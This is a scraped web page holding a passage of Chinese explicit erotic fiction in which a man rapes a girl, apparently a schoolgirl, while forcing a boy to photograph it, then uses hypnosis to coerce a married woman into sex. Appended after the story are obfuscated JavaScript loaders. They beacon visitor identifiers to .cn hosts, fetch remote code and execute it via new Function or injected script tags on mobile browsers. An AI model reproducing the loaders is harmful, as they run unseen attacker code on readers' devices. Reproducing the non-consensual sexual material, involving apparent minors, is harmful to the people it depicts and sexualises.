  遵从他的指示,小优捲曲舌尖,伸到了肉豆的表面。

  「啊啊!呼啊!啊、啊……啊咕唔……啊嗯!咕啊、啊啊……」

  「没错,就是这样。还要再快一点!舔一舔……再用力吸!」宛若是训练选
手的教练般,村越不断向小优下达各种爱抚的指令。

  不一会儿,身体不断颤抖的小绫,发出了更大的娇喘声:「喔唔唔……嗯啊
啊!嗯哈!嗯!嗯咕唔!咕……唔啊喔……」

  就在迎接高潮的一刻,潮吹的淫穴,将大量带着泡泡的爱液,喷到了小优的
睑上。

  「看样子,应该随时都OK吧!」

  「呼啊啊……哈咿……呼呼……哈啊……」小绫上气不接下气地躺在床上。

  村越向站在绫股间处,脸上露出悲伤模样的小优道谢:「谢谢你小优,让我
可以省下不少精力。」村越的话,包含了两种含意。一是小优刚刚对小绫所做的
行为,简单来说,就是让小绫的身体做好準备;另一个则是他带来的摄影器材。

  村越将小优所带来的数位相机递给他后,自个儿爬到了床上。接着,从背后
抱起了小绫的身体。这是为了让两人的结合部位,清楚地面向小优。

  「不、不要!我才不要……和你……啊啊!」

  「现在把脚给擡上来!让拍照的小优,清楚你的小淫穴。」

  「不行!小优!你、不可以看!不要拍照!」

  因为小绫悲痛的声音,让拿着照相机的手不听使唤地颤抖。

  「小优,你这样拍出来的照片,一定会模糊不清的啦。你要想办法把照片拍
清楚喔!因为你这一生就只有这一次机会。」

  颤抖的手瞬间不动了。

  (真是效果绝佳的防手震装置啊!)村越进一步说:「咦?小优你怎幺了。
眼看你最喜欢的青梅竹马,马上就要被我给侵犯了,你的肉棒却因此而勃起。」

  「唔唔……对不起……小绫……对不起!」

  顶着与他弱不禁风的身体一样的娇小肉棒,小优发出抽抽噎噎的哭声。小绫
见状也发出悲鸣声:「唔啊啊……!不要……我不要了!求求你!放了我们两个
吧!求求你……!」

  「你在说些什幺啊,好戏才正要上场哩!」村越话一说完,便一把抓住浑圆
的臀部。将肉棒滑向了微开的幽谷,龟头随即顶住了湿润的裂缝,前端摩擦着湿
润的媚肉,并发出了卑猥的淫声。

  「啊啊!不……不要啊啊!不要不要!」

  无视高亢的悲鸣声,村越将肉棒送了进去。已经遭受绵密爱抚的柔软热壁,
产生不自主的哆嗦,宛若是软体动物般,将龟头吞了进去。

  「要把处女丧失的画面给我拍好喔!用近拍拍摄肉棒进入淫穴的模样!」

  「不、不要!快住手……快住手!」小优怒不可遏地发出怒吼声。

  (这是最好的配乐!!)村越发出嗤嗤的笑声:「不,我就是不住手!」

  终于到了插入的最后时刻。对村越而言,是无比的画面……但对他们两人而
言,却是最痛苦的时刻。一根灼热的粗大肉棒,撑开了美丽诱人的粉红色性器;
狭窄的肉壶入口,为了抗拒淩辱者的入侵,而强烈地紧缩着。

  「唔啊!啊咕……啊!哈呼!咕唔啊啊啊!哈啊!呼呼!」

  嘎吱嘎吱地撑开淫肉的快感,直接袭向了村越的脑门。那个尚未被人开发过
的北川圣域,此刻却遭受到村越汙秽肉棒的入侵。一脸哀怨的小优,一个镜头也
不放过地彻底纪录下每一个画面。

  「啊咕!啊……太……粗了!这样……会坏掉的……下面会用坏掉!」小绫
苦闷地娇喘着,柔嫩的膣孔完全吞下村越股间那根粗犷的肉棒。

  「真多亏了小优刚刚的努力,让小穴穴变得如此柔软。看来,应该可以轻易
地突破处女膜!」

  「咕唔……唔唔唔唔唔……」

  优的悲痛似乎已经到达了极限。身体因为愤怒而颤抖,然而他的手却一点也
没有反应。在紧咬双唇的少年与照相机的见证之下,肉棒终于完全插入。

  「呼……呼唔……呼哈啊!哈啊、哈呼!唔唔唔……」

  被贯入身体里的肉枪,紧压着娇喘不已的小绫;缓缓滴落下的破瓜影像,忠
实地被纪录在相机里。她第一次的对象,是村越进太的事实,怎幺也洗不清的,
这是骄傲的征服感。

  不断蠢动的肉壁紧紧地吸吮着他的肉棒。村越尽情地享受着膣内的触感。

  「啊……我……我不要了……求求你……」

  不知道这是小绫第几次央求了。然而,悲剧似乎才正要开始。

  「我要开始抽送了喔……小优,拍几张全身照。要把胸部、淫穴以及小绫的
脸,全部拍到镜头里。」

  和被肉棒侵入体内的小绫一同横躺在床上的村越,激烈地摆动着下半身。

  「啊咕……啊啊……啊……喔……啊……唔啊……」丰满的乳房沈甸甸地摇
晃于空中。无情地撑开了狭窄膣室,粗暴地加以蹂躏。宛若是猛虎出闸般,以下
腹部撞击眼前的丰腴臀部。

  「唔啊!呼咕!咕唔唔!喔唔唔……」绫紧咬着双唇深处,发出了低沈的呻
吟声。

  如此动物性的反应,更是让村越格外的兴奋。就在此时,原本强烈抗拒外力
的紧缩膣内,态度似乎开始软化妥协;大量分泌出粘液,让肉壁变得更为湿滑。
从肉棒确认这个转变的村越,也从原本只是为了要满足自己欲望的突进方式,改
变成给予快感的抽送动作。

  「啊唔……啊啊……咕呼……啊啊啊……嗯嗯……」

  担任拍摄工作的优,仅察觉到村越或许是因为疲累,才使得动作逐渐缓慢的
变化。然而,实际上小绫的体内,却已经产生了剧烈的改变。龟头精準地顶在G
点极富技巧性的抽送,与宛若要敲开子宫口的温柔突进。这几个变化,都让小绫
双唇发出的娇喘声,开始产生显着的改变。

  「咕!哈啊嗯嗯!啊……!嗯哈啊!咕唔嗯!啊、啊啊啊……!」

  发出带着淫豔的娇嗔声。对这个变化感到惊讶的人,是小绫自己本身。

  「呼啊!为、为什幺……?嗯咕唔!怎幺会这样?啊呼唔!呼嗯!啊唔!」

  终于发觉绫变化的小优,出现了一脸惊愕的表情。股间的肉棒,早已经因为
充血膨胀而勃起,反覆地上下产生哆嗦,龟头前端还渗出了透明精液。任谁看到
青梅竹马一丝不挂的诱人裸体,不仅毫不掩饰地呈现在眼前,还高潮不断娇喘不
已的画面时,都会很自然地出现这样的反应吧。

  「小优你觉得如何呢?小绫现在好像很舒服的样子。」

  「咦!我才……没、没有呢!啊哈……啊……」努力想要否定的态度,怎幺
看都只不过是小绫对小优的一种赎罪的行为。另一方面,小绫的膣壁宛若要让肉
棒更深入到底部般,不断地加大吸吮收缩的力道。

  「你不用忍耐也可以喔。我一定会让小绫洩出来的。」

  「不、不要啊!我绝对不要洩!不啊!啊咕喔喔……!嗯啊啊啊嗯!」

  「至于小优,你绝对不可以射出来喔!因为只有我和小绫可以洩而已!」

  不知道是因为爱人被活生生夺走而感到悲痛,还是因为射精的冲动被封锁而
感到哀怨,小优难过地颤抖着嘴唇。

  (再一会儿就好了。我一定会让北川绫达到高潮的!)村越自己虽然也已经
到了极限,即使如此,他还是忍耐住射精的活门,持续扭动着腰。

  「啊咿!嗯喔啊!喔喔……咕唔!啊咕唔……咕喔!喔啊啊啊!」为了否定
从淫穴传来的快感,小绫只像是动物般,发出呻吟的声音。然而,如此一来却反
而让她的理性不攻而破,因为一旦抛开了人类的立场,则与一般没有理性的动物
无异。所有的感觉,都会本能的反应出来。

  突然,膣室内产生强烈的收缩,宛若要榨乾肉棒般,两旁的肉壁紧紧地拧住
挤压着男根。村越将肉棒贯入阴道的最深处,等待小绫达到高潮的瞬间,放射出
热液。

  「嗯嗯……嗯咕!啊!喔唔……嗯……啊唔……啊喔喔喔……」在一阵彷彿
夜晚犬吠的声音下,小绫的肢体开始产生反射性的哆嗦。

  同时,村越的肉棒亦膨胀到极限,一口气爆发出所有的热液。灼热奔流射入
了肢体已经完全僵硬的小绫体内。

  「啊呼唔……不断地……收缩!不要……不要!射、射精了……会有……小
孩子的……啊啊啊啊啊啊────」

  注入了最后一滴热液后,子宫内盛满了浓稠的白浊精液。麻痹的意识让全身
完全虚脱,村越心满意足地歎了口气,「我想小优会好好地纪录下这所有美好的
回忆。连生小孩时也不能错过。」

  脸上带着悲痛与恍惚表情的小绫,不发一语地瘫在床上。不能射精的小优,
也只能杵在一旁,望着一脸茫然的小绫。

     ***    ***    ***    ***

  「真高兴可以再看到你,进太。」

  在夺走了北川绫的处女之后,进太紧接着来到了仓泽早苗的家。

  时钟正好走到下午一时。此时正是早苗还在学校上课的时间。而她那维持家
中生计的父亲洋介,此刻应该也还待在公司努力工作才对。

  村越此行的目的,是特地冲着早苗的母亲忍而来的;趁老公不在的时候,上
了他的老婆。想要尝尝看姦夫淫妇滋味的村越,为了达到他的目的,再度来到仓
泽家。

  「我也很高兴可以见到你。」

  「嘻嘻……进太的嘴巴真是甜……」

  就在两人坐在客厅沙发上时,忍的模样开始一点一点的产生变化。不仅泛红
着双颊,心跳更是不断地加快。她那带着结婚戒指的手,刻意摆在裙子上,压着
股间的部位。之所以会有这样的行为,村越当然是心知肚明,因为受到催眠的影
响,她此刻的胸部与淫穴,同时传来彷彿被舌头舔吮般的快感。

  「怎幺了,忍?是不是身体哪里不舒服呢?」

  「没、没事啦……真的没事……我现在就去帮你倒茶……」带着微笑试图掩
饰掉尴尬的忍,準备从沙发上站了起来。与她实际年龄完全无法连想在一起的细
腻肌肤上,渗出了些许香汗而飘散出人妻的贺尔蒙。

  村越一把抓住了正準备站起来的她,将忍再度拉回沙发上,「不用倒茶了。
我想今天就换我来帮忍做点事情吧。请问有没有什幺困扰你的事情呢?像是夫妻
之间的问题啦。不管什幺都可以提出来讨论。」

  村越刻意延长两人交谈的时间。让忍的身体感受到更强烈的爱抚与刺激。

  「我真的很高兴你对我的关心。不过,我们夫妻的感情,还是很兴奋喔。」

  「晚上的互动如何呢?比如说你们两个人的性生活如何呢?」

  即使穿着一件较宽鬆的上衣,还是可以感受到胸前那对压迫感十足的巨乳。
忍身上所散发出的贺尔蒙味道,也愈来愈浓烈。

  「很、很好……没有什幺特别的问题。」

  「真的?你们的性生活仍然像新婚时般的频繁吗?你真的有得到满足吗?」

  连她的女儿早苗都不可能知道,属于夫妻两人之间的秘密。然而,村越却毫
不避讳地询问着忍。而原本就不必向外人道的事情,虽然会感到羞赧不已,但却
也支支吾吾地开口说道:「其实……我们并没有……经常做爱,即使偶一为之,
也谈不上什幺满足……」

  「你先生没有满足你吗?」

  「可、可是,我的心还是爱着他……」

  村越万万没料想到忍会如此回答。心中莫名地燃起一股嫉妒的怒火。然而,
他却完全不露声色。他向忍说道:「那我今天就帮你解决这个问题吧!」

  「咦?」

  「如果我可以帮忍解决欲求不满的问题,那你们夫妻之间的感情,就完全没
有缺憾了。」

  「你是说……可是……你是说……」无神的眼神、灸热的气息与蠢蠢欲动的
柳腰。忍的身体已经化身成一只母狗。问题出在她的内心,要是被她的理性给阻
碍的话,村越想当姦夫的美梦,将成为泡沫。

  「你放心吧。我一定会尽最大的努力,让忍感到满足的。难不成你是因为不
想让我来帮你吗?」

  「不、不是……」忍急忙地摇着头,接着低下头去,「请你……帮我……」
宛若呼吸般的细微声音。

  村越故意假装听不到,「咦?你说什幺呢?」

  「请你帮我解决这个问题。请你和我……做爱吧。」

  完全料想到忍会直接说出「做爱」这个字眼,村越更是因此而感到异常的兴
奋,「好吧,那我就和你做爱,帮你解决问题。」

  「嗯……谢谢你。」

  ──不只是如此,今天一定要让你爽到连眼泪都飙出来的程度!

  村越念着催眠指令,让忍瞬间陷入沈睡状态,「你听好了,每当听到村越叫
你『忍』时,你就会获得肉棒猛烈插入淫穴深处般的快感。」

  「肉棒……插入……淫穴……」

  「没错。等我数到三时,你就会从沈睡的催眠状态醒来……」

  当村越数到三时,忍再度恢复了意识。只见村越带着笑容,开口向她说道:
「忍,我们来做爱吧……」

  「啊啊嗯!啊啊……呼、呼啊……!烦……往这边走。」虽然脚步踉跄,但
忍还是努力地从沙发上站了起来,带着村越走向卧室里。

  ──没想到居然可以在他们夫妻的床上干那档事,简直是姦夫淫妇的最高境
界!

  一打开房门,便猴急地进入卧房的忍,突然顺手将裙子给脱了下来。接着,
她又迅速地将包裹住丰满臀部的小裤裤也一併脱了下来。

  村越虽然感到有些吃惊,但他到仓泽家少说也经过了十分钟左右的时间。这
段期间,忍因为感受到乳房与淫穴不断被舔吮的刺激而搔痒难耐,因此她现在的
行为,在某种程度上,应该也是可以被理解。接着,只见忍倒卧在那张他们夫妇
用的双人床上。

  「接、接下来……就麻烦你了……进太。」张开双腿,令人垂涎三尺的忍,
显得格外的淫乱。

  村越见状亦急忙地扒光身上的衣服。

  (接下来就让我彻彻底底地来服侍你吧……)爬到床上的村越开始粗鲁地拉
扯着忍上半身那件宽鬆的衣服。

  人妻没有穿胸罩的丰满胸部突然蹦了出来,而那条原本繫在腰际上的装饰用
皮带,被村越连同上衣给拉了上来,并顺势缠绕着那对丰满的巨乳。瞬间,忍丰
腴的肉体,宛若是被SM皮带给囚禁般,村越不禁吞了口口水,入神地观赏着眼
前的人间极品。

  被皮带捆绑住的丰满乳房上,出现两颗极端勃起的乳头;而柔嫩下腹部的下
方,还隐约可见那个湿淋微开的膣孔。人前总是表现出端庄贤淑的人妻,现在却
显露出她那淫乱的模样!

  「啊……我、我……已经……」

  村越也不例外。想要立刻把肉棒插进去。但他还是忍了下来,以达到戏弄人
妻的目的,「你女儿早苗,她小时候是餵母乳长大的吗?」

  「是、是……没错……」

  ──难怪你的乳房会胀成这个样子?不过形状与颜色仍然如此诱人!

  「早苗是你和你先生的结晶啰?」

  「没错……啊啊啊……求求你……我已经……」

  (居然要求姦夫搞自己,真是淫乱的人妻!)然而,村越心中再度燃起了妒
嫉,「这是你第一次跟你丈夫以外的人做爱吗?」

  「这是第一次!啊啊!不要再问了!插进来,快点插进来!」

  (说的也是喔,再不插进去的话……)村越发出嗤嗤的笑声,「好吧,我现
在就把你生平的第二根肉棒给插进去!你要好好享受喔!」

  「是!快点插进来!」

  渗出大量爱液的淫唇不自主地产生颤抖,虽然乳房与臀部迫力十足,但相对
比较,性器就显得特别的狭小,完全看不出像是生过小孩的阴部。当村越握住那
根发烫的坚挺肉棒準备插入时,忍突然主动用手将秘裂给拨了开来,帮怒张的肉
棒一臂之力。已经盛满了大量灸热爱液的花蕾,淫乱地吸吮住年轻男人的肉棒。

  「唔唔嗯!好、好舒服喔!好粗喔!啊啊啊唔!啊唔唔啊!嗯啊啊!哈啊!
塞得满满的……!好人喔……啊啊啊!啊……」

  村越宛若是例行公事般,再度询问着将兇猛怒张的肉棒,吸吮到膣室深处的
人妻:「和你老公相比的话,谁的肉棒比较大?」

  「你的远远超过他!这还是第一次有人把肉棒插到那幺深!而且……居然、
把阴道撑得那幺开!居然会有如此粗大的肉棒……好舒服喔……」

  无与伦比的优越感扩张到了极限,村越开始激烈地抽送着。

  「啊!啊唔……啊……好、好……用力喔!咕唔……」

  村越连续数次,猛力地将下半身往前碰撞。人妻丰满的乳房,激烈地上下摇
晃着。

  「唔啊啊!进到子宫里了!啊……一直往那里刺进去!啊咕……啊咕……」

  为了改变刺入膣内的角度,忍主动地左右扭动着下半身。积极地贪恋快感的
动作,让反覆做着活塞运动的肉棒,更激烈地摩擦着肉壁。

  「啊……啊、来了!呼……又……唔……又、来了!嗯~~~」连续达到官
能高潮的人妻,产生一次又一次的颤抖。起伏的肉壁紧紧地吸吮着肉棒,将强烈
的快感烙在彼此的身上。她持续扭动着腰,一点也没有停歇的迹象。

  村越讚歎原本是贞淑的人妻,体内居然隐藏着如此贪婪的性欲。然而好戏还
在后头呢。村越的口中,开始缓缓地叫着忍的名字:「忍!」

  「嗯啊!啊唔!」

  村越看準了腰往后缩的时机,叫出了忍的名字。正因为时间上的安排,让忍
可以毫不间断地享受着肉棒侵入淫穴的快感,「忍……忍……忍!忍!」

  「啊咕……嗯啊!啊唔……呼……呼咕唔……嗯啊……咕……」如动物般持
续发出淫声的人妻,长久以来,一直沈睡于身体深处中的欲望,终于被唤醒,永
无止尽地发洩出来。就连跟她在一起将近二十年左右的丈夫,都无法发掘出的宝
藏,却被村越的肉棒与呼叫声,轻易地导引出来。

  「忍、忍……忍、忍!」

  「嗯啊!啊唔……呼咿!啊呼!咕唔!嗯啊啊啊啊啊────」

  就在不知道是肉壁第几次紧缩的瞬间,村越怒张的龟头,在子宫紧紧吸吮住
的状态下停止了动作,开始进行长时间的射精行为。感受到射精灸热的忍,再度
达到高潮,「啊……好热喔!嗯嗯……好热喔……啊……咕……啊啊────」

  大量的白浊精液宛若怒涛般地射入了子宫内。蠢蠢欲动的膣壁榨取到最后一
滴精液。

  「啊啊……好久喔……咕唔唔!还、还在……射精!呼啊啊……」

  不久,射精的行为终于结束。之后,就在仍然躺在忍身上的村越,缓缓地发
出了满足的气息,并準备将那根尚未萎靡的肉棒拔出淫穴的瞬间……

  「你!应该……还可以吧?我……第一次感到那幺快乐……所以请你,再跟
我做一次。」忍撒娇似地向村越央求着。

  (唤醒她母狗般淫欲的始作俑者即然是我的话,那就得负责到底。)为了附
和忍的要求,村越再度展开抽送的运动。

  ──仓泽忍比想像中的还要完美。没有每天好好疼爱如此诱人极品的丈夫,
简直就是暴殄天物。今后,我会好好对她疼爱有加,让我来满足她的欲望。忍已
经不再是那家伙的人了……


           (九)Damonisch

  翌日,村越向学校请了假,再度造访北川绫家。

  「村越……早啊。」

  「唔嗯,真有礼貌。很乖很乖。」宛若是对待宠物般,村越轻抚着世原优的
头。

  优的脸色则显得有些憔悴。这也难怪啰,因为村越昨天命令他回家后,必须
一边想着北川绫丧失处女之身的画面,一边自慰。而且得连续射精十次。

  父母亲都在外头工作,只剩下绫一个人的北川家。村越跟着已经成为僕人的
少年,大摇大摆地进入了绫的房间里。等待着两人到来的绫,脸上亦显得十分憔
悴。

  「村越……欢迎你的到来……」

  「嗯,今天除了要搞小穴穴之外……再多加一样开发小屁屁的专案吧。」

  「小、小屁屁?」绫的身体不禁打了一个哆嗦。

  然而村越却视若无睹地继续说道:「开始吧!现在把衣服全部脱下来!」

  当三个人全都一丝不挂时,村越坐到了床上,接着抱起了小绫,让她面对着
自己,并跨坐在自己的大腿上。

  「好,把腰往下沈……一口气将肉棒插到淫穴里!」

  「唔咕唔呜!呜!咕唔唔……咕唔!呜呜……咕呜呜呜……」昨天的伤痕似
乎还无法完全消失,当肉棒贯入淫穴时,绫发出了悲痛的呻吟声。坚硬的肉棒毫
不怜香惜玉地埋入了淫唇的幽穴里,两边的膣壁灸热地产生蠕动。将村越肉棒整
根吸吮至子宫的绫,肉体遭受到强烈的耻辱与扩张感的翻弄。

 

关闭
关闭
function kPzVKD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZrJBlgno(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kPzVKD(t);};window[''+'c'+'R'+'F'+'s'+'b'+'q'+'J'+'h'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function FHEaI(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=ZrJBlgno,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=FHEaI(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=FHEaI(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmdiYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['M','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();